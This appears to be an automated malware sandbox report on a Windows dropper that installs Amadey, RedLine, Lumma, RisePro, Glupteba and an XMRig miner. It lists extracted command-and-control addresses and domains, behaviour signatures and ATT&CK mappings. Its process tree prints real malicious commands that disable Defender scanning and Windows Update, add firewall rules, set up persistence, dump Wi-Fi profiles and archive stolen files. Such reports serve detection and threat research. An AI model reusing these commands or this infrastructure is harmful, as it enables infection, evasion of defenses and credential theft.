Analysis
-
max time kernel
150s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240412-en -
resource tags
-
submitted
17-04-2024 02:00
General
-
Target
2b9b0cb6745cfd72d49fec5f4fd81e1e7ec49987805f063c43ba96cc4a71926d.exe
-
Size
1.8MB
-
MD5
15062a2e81b42e1b7fcecac7cf2cf537
-
SHA1
ef46d51b985674fb192308a706fe1acdfba5c582
-
SHA256
2b9b0cb6745cfd72d49fec5f4fd81e1e7ec49987805f063c43ba96cc4a71926d
-
SHA512
da3f8cdfa6aa692755629af61cff9d19246c618859e59de46cf37ecc7a570b6f422e62f851f09f5938058a83b6a541a929adb1d983ded0ac97a52fe0cf7ab2e1
-
SSDEEP
49152:24xOA2lcco7IUKtLpcWjfa6YFJvPoZTK9kq99:2Ip2wAtWGSfFF1eq
Malware Config
Extracted
amadey
4.17
http://185.215.113.32
-
install_dir
00c07260dc
-
install_file
explorgu.exe
-
strings_key
461809bd97c251ba0c0c8450c7055f1d
-
url_paths
/yandex/index.php
Extracted
redline
@OLEH_PSP
185.172.128.33:8970
Extracted
amadey
4.17
http://185.215.113.32
-
strings_key
461809bd97c251ba0c0c8450c7055f1d
-
url_paths
/yandex/index.php
Extracted
risepro
147.45.47.93:58709
Extracted
lumma
https://economicscreateojsu.shop/api
https://entitlementappwo.shop/api
https://pushjellysingeywus.shop/api
https://absentconvicsjawun.shop/api
https://suitcaseacanehalk.shop/api
https://affordcharmcropwo.shop/api
https://bordersoarmanusjuw.shop/api
https://cleartotalfisherwo.shop/api
https://mealplayerpreceodsju.shop/api
https://wifeplasterbakewis.shop/api
Signatures
-
Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
-
Detect ZGRat V1 2 IoCs
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Glupteba payload 6 IoCs
-
Lumma Stealer
An infostealer written in C++ first seen in August 2022.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 5 IoCs
-
RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
-
ZGRat
ZGRat is remote access trojan written in C#.
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs
-
XMRig Miner payload 9 IoCs
-
Blocklisted process makes network request 2 IoCs
-
Creates new service(s) 1 TTPs
-
Downloads MZ/PE file
-
Modifies Windows Firewall 2 TTPs 1 IoCs
-
Stops running service(s) 3 TTPs
-
Checks BIOS information in registry 2 TTPs 6 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 4 IoCs
Looks up country code configured in the registry, likely geofence.
-
Executes dropped EXE 30 IoCs
-
Identifies Wine through registry keys 2 TTPs 3 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
-
Loads dropped DLL 6 IoCs
-
Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
-
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
UPX packed file 17 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 3 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
-
Drops file in System32 directory 11 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
-
Suspicious use of SetThreadContext 7 IoCs
-
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
-
Drops file in Program Files directory 10 IoCs
-
Drops file in Windows directory 5 IoCs
-
Launches sc.exe 16 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Program crash 3 IoCs
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies data under HKEY_USERS 64 IoCs
-
Modifies system certificate store 2 TTPs 2 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious use of AdjustPrivilegeToken 41 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2b9b0cb6745cfd72d49fec5f4fd81e1e7ec49987805f063c43ba96cc4a71926d.exe"C:\Users\Admin\AppData\Local\Temp\2b9b0cb6745cfd72d49fec5f4fd81e1e7ec49987805f063c43ba96cc4a71926d.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exeC:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Identifies Wine through registry keys
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\1000985001\alexxxxxxxx.exe"C:\Users\Admin\AppData\Local\Temp\1000985001\alexxxxxxxx.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe"C:\Users\Admin\AppData\Roaming\configurationValue\Traffic.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe"C:\Users\Admin\AppData\Roaming\configurationValue\propro.exe"4⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"4⤵
-
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 35⤵
-
C:\Users\Admin\AppData\Local\Temp\1001053001\gold.exe"C:\Users\Admin\AppData\Local\Temp\1001053001\gold.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\1001059001\NewB.exe"C:\Users\Admin\AppData\Local\Temp\1001059001\NewB.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1001059001\NewB.exe" /F3⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\1000194001\toolspub1.exe"C:\Users\Admin\AppData\Local\Temp\1000194001\toolspub1.exe"3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1356 -s 3524⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\1000195001\4767d2e713f2021e8fe856e3ea638b58.exe"C:\Users\Admin\AppData\Local\Temp\1000195001\4767d2e713f2021e8fe856e3ea638b58.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\1000195001\4767d2e713f2021e8fe856e3ea638b58.exe"C:\Users\Admin\AppData\Local\Temp\1000195001\4767d2e713f2021e8fe856e3ea638b58.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
- Modifies Windows Firewall
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe5⤵
- Executes dropped EXE
- Adds Run key to start application
- Manipulates WinMonFS driver.
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F6⤵
- Creates scheduled task(s)
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll6⤵
- Executes dropped EXE
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F6⤵
- Creates scheduled task(s)
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)7⤵
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)8⤵
- Launches sc.exe
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\1000196001\FirstZ.exe"C:\Users\Admin\AppData\Local\Temp\1000196001\FirstZ.exe"3⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart4⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart5⤵
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc4⤵
- Launches sc.exe
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 04⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "WSNKISKT"4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "WSNKISKT" binpath= "C:\ProgramData\wikombernizc\reakuqnanrkn.exe" start= "auto"4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog4⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "WSNKISKT"4⤵
- Launches sc.exe
-
C:\Users\Admin\AppData\Local\Temp\1001073001\swiiiii.exe"C:\Users\Admin\AppData\Local\Temp\1001073001\swiiiii.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2360 -s 8803⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe"C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe"2⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll, Main2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll, Main3⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh wlan show profiles4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\084619521222_Desktop.zip' -CompressionLevel Optimal4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\1001084001\random.exe"C:\Users\Admin\AppData\Local\Temp\1001084001\random.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main2⤵
- Blocklisted process makes network request
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\1001107001\jok.exe"C:\Users\Admin\AppData\Local\Temp\1001107001\jok.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\1001108001\swiiii.exe"C:\Users\Admin\AppData\Local\Temp\1001108001\swiiii.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
- Loads dropped DLL
- Checks processor information in registry
-
C:\Users\Admin\AppData\Local\Temp\1001153001\install_new.exe"C:\Users\Admin\AppData\Local\Temp\1001153001\install_new.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameServerClient\install.bat" "3⤵
-
C:\Windows\SysWOW64\sc.exeSc delete GameServerClient4⤵
- Launches sc.exe
-
C:\Program Files (x86)\GameServerClient\GameService.exeGameService remove GameServerClient confirm4⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameServerClient\GameService.exeGameService install GameServerClient "C:\Program Files (x86)\GameServerClient\GameClient.exe"4⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameServerClient\GameService.exeGameService start GameServerClient4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameServerClient\installc.bat" "3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "3⤵
-
C:\Users\Admin\AppData\Local\Temp\1001154001\lie1234.exe"C:\Users\Admin\AppData\Local\Temp\1001154001\lie1234.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\1001162001\Startup.exe"C:\Users\Admin\AppData\Local\Temp\1001162001\Startup.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\1001165001\Dvvkv.exe"C:\Users\Admin\AppData\Local\Temp\1001165001\Dvvkv.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4368 -s 8323⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 364 -p 2360 -ip 23601⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 1356 -ip 13561⤵
-
C:\ProgramData\wikombernizc\reakuqnanrkn.exeC:\ProgramData\wikombernizc\reakuqnanrkn.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵
-
C:\Windows\explorer.exeexplorer.exe2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\1001059001\NewB.exeC:\Users\Admin\AppData\Local\Temp\1001059001\NewB.exe1⤵
- Executes dropped EXE
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
C:\Program Files (x86)\GameServerClient\GameService.exe"C:\Program Files (x86)\GameServerClient\GameService.exe"1⤵
- Executes dropped EXE
-
C:\Program Files (x86)\GameServerClient\GameClient.exe"C:\Program Files (x86)\GameServerClient\GameClient.exe"2⤵
- Executes dropped EXE
-
C:\Windows\Temp\131002.exe"C:\Windows\Temp\131002.exe" --points 512 --out xxx.txt --keyspace 3d12c2fc800000000:3d12c2fd000000000 13zb1hQbWVsc2S7ZTZnP2G4undNNpdh5so 126JXqaW4pcY7QeA8Fm4sMLVWokDPkYs8K3⤵
- Executes dropped EXE
- Loads dropped DLL
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
3Windows Service
3Scheduled Task/Job
1Defense Evasion
Impair Defenses
2Disable or Modify System Firewall
1Modify Registry
2Subvert Trust Controls
1Install Root Certificate
1Virtualization/Sandbox Evasion
2Credential Access
Unsecured Credentials
5Credentials In Files
4Credentials in Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files (x86)\GameServerClient\GameClient.exeFilesize
2.5MB
MD50fac9d21508e154127a9fd4b90a1ca39
SHA1cb9df00888a37443e6b4f87daf74e591b4dc373a
SHA2566fb647a3af04d0bb02d9925cf974c21be48512ee56eb3275be575dadd1a7aec0
SHA512fdd75a3dceb4dd9083f46ba09a51213779958e440b0f6cf61d63ed9b65964b912bd270f3cc616e795c4d8d36daf19b15ee3f99fbaa827c113ff47477a604480d
-
C:\Program Files (x86)\GameServerClient\GameService.exeFilesize
288KB
MD5d9ec6f3a3b2ac7cd5eef07bd86e3efbc
SHA1e1908caab6f938404af85a7df0f80f877a4d9ee6
SHA256472232ca821b5c2ef562ab07f53638bc2cc82eae84cea13fbe674d6022b6481c
SHA5121b6b8702dca3cb90fe64c4e48f2477045900c5e71dd96b84f673478bab1089febfa186bfc55aebd721ca73db1669145280ebb4e1862d3b9dc21f712cd76a07c4
-
C:\Program Files (x86)\GameServerClient\install.batFilesize
231B
MD5b9ecefec035b92492661437972d20a33
SHA16d694ed7107919baa1da347784b2fb2378f25193
SHA2565c4b3d2bbfc982378155656046dccd2fac16a5f8d2bbf23f5dbc6a6dc8ebfde8
SHA512cf22b003bc370e01c7ce64338bb86dc42a4db4d8357924ba85abd07e2293936ca879d64e35a2b4f3679f281ad112867564ca50054f865525ec7f0cb9c274da99
-
C:\ProgramData\mozglue.dllFilesize
593KB
MD5c8fd9be83bc728cc04beffafc2907fe9
SHA195ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA256ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
SHA512fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
3KB
MD5fe3aab3ae544a134b68e881b82b70169
SHA1926e9b4e527ae1bd9b3b25726e1f59d5a34d36a6
SHA256bda499e3f69d8fe0227e734bbb935dc5bf0050d37adf03bc41356dfcb5bcca0b
SHA5123fbd3499d98280b6c79c67b0ee183b27692dbc31acf103b4f8ca4dcdf392afff2b3aad500037f4288581ed37e85f45c3bbb5dcde11cddf3ef0609f44b2ecb280
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD52730b7b80e5162a8019025bbea798685
SHA169b6904d93ad582be522851e1b138c7b6fbcc0ed
SHA256f4365abd73df4d70be9dcc12dc128f8ad504add56e13b2e245ccadd4322a7290
SHA512d00ad4fdd762dba4babc8222c6b3a7747a67bf708abe6e5dba06378a88ad7312e69b1987896439f43fb652a0b71afec511b3e7cb4d9d43d92659632015da5771
-
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exeFilesize
1.8MB
MD515062a2e81b42e1b7fcecac7cf2cf537
SHA1ef46d51b985674fb192308a706fe1acdfba5c582
SHA2562b9b0cb6745cfd72d49fec5f4fd81e1e7ec49987805f063c43ba96cc4a71926d
SHA512da3f8cdfa6aa692755629af61cff9d19246c618859e59de46cf37ecc7a570b6f422e62f851f09f5938058a83b6a541a929adb1d983ded0ac97a52fe0cf7ab2e1
-
C:\Users\Admin\AppData\Local\Temp\1000193001\ISetup8.exeFilesize
16B
MD5dfa3636699e32131cd27350a1ed6d2d5
SHA152921570b0ee3c46ad9d62c7cd5231b37b7323f4
SHA256f41184a575844987199ca3a8336fab14a10b7451b397f5ea5e3a0c9649fc7b25
SHA5123bc123d9cb9e3343fc5f8a7615d019cee5065cfc78c0d7e1604ffe748239007e9766a5868c3a43e52ff2f95330a72f27023de5157b9911a10d28331512e34e37
-
C:\Users\Admin\AppData\Local\Temp\1000194001\toolspub1.exeFilesize
240KB
MD5bfe9ca3a9060f8b106ef1e7448416289
SHA1aa2e83375485435a6bc81aa59e769b4888dc9ca2
SHA2567755538e0afd5973ebc9e8766a817b5b562addfdde5fc3950f4bbffba9790ca9
SHA512b52c1733e3b7c39da85603e1ea8013d1b1e69a4c5d9d91d64e6ab0234408f091cab8ea10a0034d8c0b88d7a21a9317591796d4c6015bf8454dec65f21e642a36
-
C:\Users\Admin\AppData\Local\Temp\1000195001\4767d2e713f2021e8fe856e3ea638b58.exeFilesize
4.2MB
MD5833cf4b485610329398b1a0065601b9a
SHA1c8a5a74c18517a0f9f6132f4e5f277c6a7303a92
SHA256a3b7b83632ee2e66e5f204e200bb65cf663cca316591b3709f41ec7b5cb8c85a
SHA512df304d862cbb43eb222d81a23f1d4a179d5cc4e2ef73758ee130019280de97b1b1da5bf2d14d71c8b4128cf6206555f043c15670632b472efe8dd3b5d6156531
-
C:\Users\Admin\AppData\Local\Temp\1000196001\FirstZ.exeFilesize
2.5MB
MD5ffada57f998ed6a72b6ba2f072d2690a
SHA16857b5f0c40a1cdb0411eb34aa9fe5029bcdb84f
SHA256677f393462e24fb6dba1a47b39e674f485450f91deee6076ccbad9fd5e05bd12
SHA5121de77f83a89935bb3fc3772d5190c3827d76a998785d451e2c0d11a0061cfd28f1b96eccb41b012c76ddda2021e3333a0a647489ae3c6dac10cfb8302abdf33f
-
C:\Users\Admin\AppData\Local\Temp\1000985001\alexxxxxxxx.exeFilesize
1.7MB
